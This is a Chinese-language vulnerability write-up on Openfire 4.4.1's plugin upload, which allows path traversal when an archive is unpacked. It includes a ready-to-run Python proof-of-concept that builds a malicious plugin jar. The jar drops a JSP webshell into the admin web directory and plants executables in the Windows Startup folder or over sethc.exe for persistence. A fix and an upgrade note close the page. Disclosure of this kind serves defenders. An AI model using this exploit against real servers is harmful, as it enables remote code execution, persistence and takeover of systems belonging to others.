openfire软件漏洞挖掘分析
前言openfire是基于XMPP协议的即时通讯框架 , 提供插件扩展 , 像Spark 一样易于部署 。
openfire在4.4.1版本中 , 允许后台上传未经校验的恶意插件 , 可导致直接getshell和控制服务器 。
#分析在xmpp.jar文件中org/jivesoftware/openfire/container/PluginManager.class文件存在上传漏洞 。
在installPlugin方法中 , 程序首先判断文件头 , 如下图:
文章插图
文章插图
如果文件头为zip、war、jar等格式 , 即可通过校验并且上传插件添加.part后缀 , 否则不通过 。
接着在210行中尝试检查上传插件中是否存在plugin.xml 这个文件 , 如果存在这个文件(不检查文件内容)则会开始尝试解压缩操作 。 否则提示错误 , 不进行解压插件操作 。 如图:
文章插图
在解压插件操作中 , 程序代码并未对插件目录做任何过滤处理 , 甚至可以直接覆盖其他文件 。 如图:
文章插图
这导致了可以构造特殊目录 , 如 ../ 等 。 可以解压插件中的内容到任意目录中 。
# POC利用
使用python脚本创建poc插件 , 可以上传webshell到admin/js目录中或者可以上传木马文件到启动目录中 。
poc代码如下:
Copy to clipboard
#!/usr/env python3
# -*- coding:utf-8 -*-
import zipfile
f = zipfile.ZipFile('evil.jar', 'w', zipfile.ZIP_DEFLATED)
f.write('plugin.xml')
# 上传webshell文件到/admin/webapp/js/目录中 , 访问http://ip:9090/js/ Browser.jsp即可访问到webshell
f.write('Browser.jsp', arcname='../admin/webapp/js/Browser.jsp')
# 上传木马文件到启动目录 , 或者任意目录中
#f.write('evil.exe', arcname='../../bin/openfire.exe')
#f.write('calc.exe', arcname='C:/c:/Windows/System32/sethc.exe')
# 上传到启动目录方法1
f.write('evils.exe', arcname='C:/c:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/test.exe')
【openfire软件漏洞挖掘分析】#上传到启动目录方法2 , 需要openfire安装到默认c盘才能利用
f.write('evil.exe', arcname='../../../../Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/service.exe')
f.close()
修复方案修改222行中代码 , 添加限制目录判断 , 只允许解压在插件当前目录中 。
升级官网最新的4.4.2版本 。
演示
文章插图
推荐阅读
- Looking Glass推出由全息成像技术打造的3D照片软件
- 运动计数开发项目的对抗赛:飞算全自动软件工程平台碾压传统模式
- 每经18点丨美将禁止支付宝、微信支付等8个中国应用软件,外交部回应;铁路部门推出免费退票措施;违反居家隔离规定外出,大连3人被拘
- 别怪电池不耐用,这3类软件才是手机“耗电大户”,赶快告诉家人
- 戴尔新发布的商用显示器包含微软Teams软件专用按钮
- 网易数帆亮相中台战略大会,解读云原生软件生产力实践
- 青少年|封面评论 |“青少年模式”依旧漏洞百出,标准化合规框架必须落地
- Windows 10端Chromium改善防病毒软件兼容性和深色模式
- MIPS架构厂商日渐式微 Linux报告其漏洞遭遇困难
- LG Wing获得新的软件更新 一键发送应用程序更顺畅